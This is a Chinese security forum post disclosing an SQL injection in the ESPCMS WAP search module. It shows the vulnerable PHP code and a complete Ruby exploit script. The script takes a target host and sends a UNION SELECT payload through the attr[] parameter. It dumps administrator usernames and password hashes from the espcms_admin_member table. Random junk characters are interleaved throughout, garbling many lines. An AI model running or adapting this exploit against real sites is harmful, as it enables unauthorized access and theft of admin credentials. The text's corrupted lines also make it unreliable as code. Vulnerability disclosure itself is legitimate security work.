找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2230|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节5 A6 {! H9 L' `' G9 P
0×2 PoC$ W( Y) Q( j' j, Q! e" {% n
, j- U; e. `1 r& m- K: G- c5 g9 m# n

+ N) A" {; H- ]1 O+ }$ |, a& }; l' c- k2 Z  R1 w% _
0×0 漏洞概述
3 N+ J) y# r( {( K& U
& r% O7 Q; h/ ^7 E易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。# k7 l# V" |2 t) O# ~' Y
其在处理传入的参数时考虑不严谨导致SQL注入发生% x" ^+ S( Q5 s2 _
  g$ x* {  K5 a

+ `0 R; R; y; h7 g0×1 漏洞细节
; `+ G% O. r( o+ `# c% k7 ~% T2 z- r4 ]
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
" d. W+ l# v& b; g0 [正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
2 W" g9 H. |# i- l- \- H+ g4 u而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
( d0 z/ @; ^  a' J8 B  I# a
: V' I: U6 j0 {! g: Y在/interface/3gwap_search.php文件的in_result函数中:- n1 u2 B5 I  B5 G, J, C' s: P5 ?
7 K4 s4 d/ w9 L' n% a1 @

& A) c& d1 g- C# y) v6 P) S7 {0 y. q* v6 r7 E2 X4 m
       function in_result() {
2 ]$ ^) K0 ~. L' j( M            ... ... ... ... ... ... ... ... ...
6 X1 A9 Y) D( G0 |, ]5 [' c# y            $urlcode = $_SERVER[ 'QUERY_STRING '];% L9 g& \/ l$ a+ R3 y# g7 I
            parse_str(html_entity_decode($urlcode), $output);
# T) ^' M5 b6 W8 M: |- e; X: e, P7 X' v3 K" P
            ... ... ... ... ... ... ... ... ...( A+ @2 D7 y4 a. a6 V9 ~
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {4 T4 d1 M" l: P

) T0 r9 g2 W8 N                  $db_table = db_prefix . 'model_att';3 p) `4 \+ A/ J+ J

7 @" Z# g7 J( w2 q- f6 g0 s8 B7 u                   foreach ($output['attr' ] as $key => $value) {  }* T! f( k9 r# ?3 O+ Y0 k
                         if ($value) {. n2 }1 h2 @$ _: U5 `; ]6 @

+ F8 U9 o) L, q: i# S# V                              $key = addslashes($key);
- h6 Z3 q0 W' D2 ]                              $key = $this-> fun->inputcodetrim($key);2 X0 N, m4 S1 j( ^( Z) J8 [
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
3 n) ]2 K! I% U- A                              $countnum = $this->db_numrows($db_table, $db_att_where);
# }1 F/ `! ]: u" o* ]: _4 _                               if ($countnum > 0) {" p' s, T0 P7 y( j# e% Q7 e( C4 t
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;; m7 Q. B- k; F/ o- v
                              }
/ s8 s) b* F+ v" a                        }# b5 @/ x7 U. B7 U5 ?
                  }
- I; M5 X- J$ ^" Z& R            }
6 ]! \2 t4 i2 w0 S) ]# Y3 B            if (!empty ($keyword) && empty($keyname)) {
8 I) X# Y; Y' ^4 y2 N- ^                  $keyname = 'title';
3 n; d+ F/ d1 T& `9 B                  $db_where.= " AND a.title like '%$keyword%'" ;0 U' F" E1 `( I2 [, n6 A
            } elseif (!empty ($keyword) && !empty($keyname)) {4 B1 z  y: w/ t5 r5 y6 r% b8 a
                  $db_where.= " AND $keyname like '% $keyword%'";
7 M$ {5 G) c2 e! `            }
! r8 \- R1 l8 z7 F            $pagemax = 15;& v% U7 T$ u9 d$ o3 R" v
( R: a  d  j- i$ e
            $pagesylte = 1;2 J, R7 c0 _# {( y

0 J: P. P* C4 A) m' n+ ]* O) i             if ($countnum > 0) {& y; e8 h2 j, A# f: {0 L) h# N
+ {2 D9 b* T+ D, u, W1 O
                  $numpage = ceil($countnum / $pagemax);9 B* z. l8 _& O; R
            } else {6 s4 o7 U/ \: u- A) }
                  $numpage = 1;
5 \3 m) K% e; s# i! |' O            }
: a4 Q0 m6 J. s- i- O% f( l9 O2 J' c# Q            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 K. C& Y& O: s; U) j: c" f            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
! E: e/ `. N3 i4 k9 E/ e5 Y  b$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);; @6 m: Z9 R. @# N# x% T' T
            ... ... ... ... ... ... ... ... ...
1 o5 d4 S- R# |      }2 `$ T8 V0 G) g) i
2 @3 u) H: ?; ^" T* Z0 k& {0 E
: X5 P9 d8 u; e. [( O, B/ r
0×2 PoC
" M0 ?- I1 J' L* h: ]4 x
  p" {, z& B% a" p  U: c5 W  z4 D$ a+ _$ u( `+ p

8 P# D+ ~9 ]8 [! srequire "net/http"
% n' {  V! A% x" O5 `0 j) m  i( V. I: x9 [: C4 l
def request(method, url)- H, y/ B4 [( A0 I2 R7 @
    if method.eql?("get")- {: i; X+ m$ ^+ c4 a6 ~
        uri = URI.parse(url)
2 j# P. V' L& K- ~; e. x  U7 [( a) M        http = Net::HTTP.new(uri.host, uri.port)  ^8 Q8 G/ T$ x4 k
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
- L+ O2 ]) W) g* V+ Z+ j) ^, s        return response! F+ K0 P4 ^) M% O
    end+ r4 {  m; z. c0 D6 N8 r" q" J/ I
end
& D, |% G1 L5 \% t' ~3 _: Q# b
5 o/ @' F5 C- {1 xdoc =<<HERE, X! c9 e' D0 x8 o6 M" c
-------------------------------------------------------
) T" Z% c# j/ k. t2 h# YEspcms Injection Exploit7 b. Z/ S7 n) W; T) P- b6 k
Author:ztz
$ M7 E2 {" J$ v+ gBlog:http://ztz.fuzzexp.org/
+ N; k" p& |, ]4 Z$ I  i-------------------------------------------------------/ h* I$ A" q* J# _
% k4 J/ A, }; u  T/ H* U1 o: ]
HERE  |& S% |* e+ a- D
! q" Q; s2 L3 y; @. {
usage =<<HERE! ]* l% d- [' _( C# I" h
Usage:         ruby #{$0} host port path0 \6 w* O0 u) s% ~1 J- ~) w7 |
example:     ruby #{$0} www.target.com 80 /
% z6 E* h3 o0 e7 l! w1 [3 gHERE
& }4 G6 ~# k( o: e6 x- b/ p0 i8 s0 B2 ~+ E; Y/ d
puts doc- Q! }- [: _, E/ M; ]0 Q' r
if ARGV.length < 3
! t& E3 o% H- ~- J: M5 e    puts usage
5 a) F' n/ e. `" v: b4 N0 \1 D$ Uelse! k; C; T/ U. ?" E- u
    $host = ARGV[0]: M1 ]9 o2 P4 O3 P( r8 z, l% d
    $port = ARGV[1]
) z  m! y0 l* \& V& r, C    $path = ARGV[2]
- a! }- K  [  d4 h
7 L, j/ G+ R  P5 o4 t$ {" X( z    puts "
  • send request..."
    & C. z" |& n, @7 o    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    3 _# q0 S) k- K* |' tattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    7 o3 B) ^6 |4 D7 `9 Y! w,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27$ \. c# x+ x% c4 p7 g5 d1 j# F: Z2 a
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    0 b7 e. m  p8 |& [2 a5 W    response = request("get", url), q( r# r) b7 p, a" K
        result = response.body.scan(/\w+&\w{32}/)% I$ M; s! I$ y* e
        puts result, Y: Q# Q  k7 p4 u" e
    end" Z1 N& n  Y! `5 r; ?6 Z! o' R

    ' n( i7 `+ G, _$ v, C' n, X; j
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表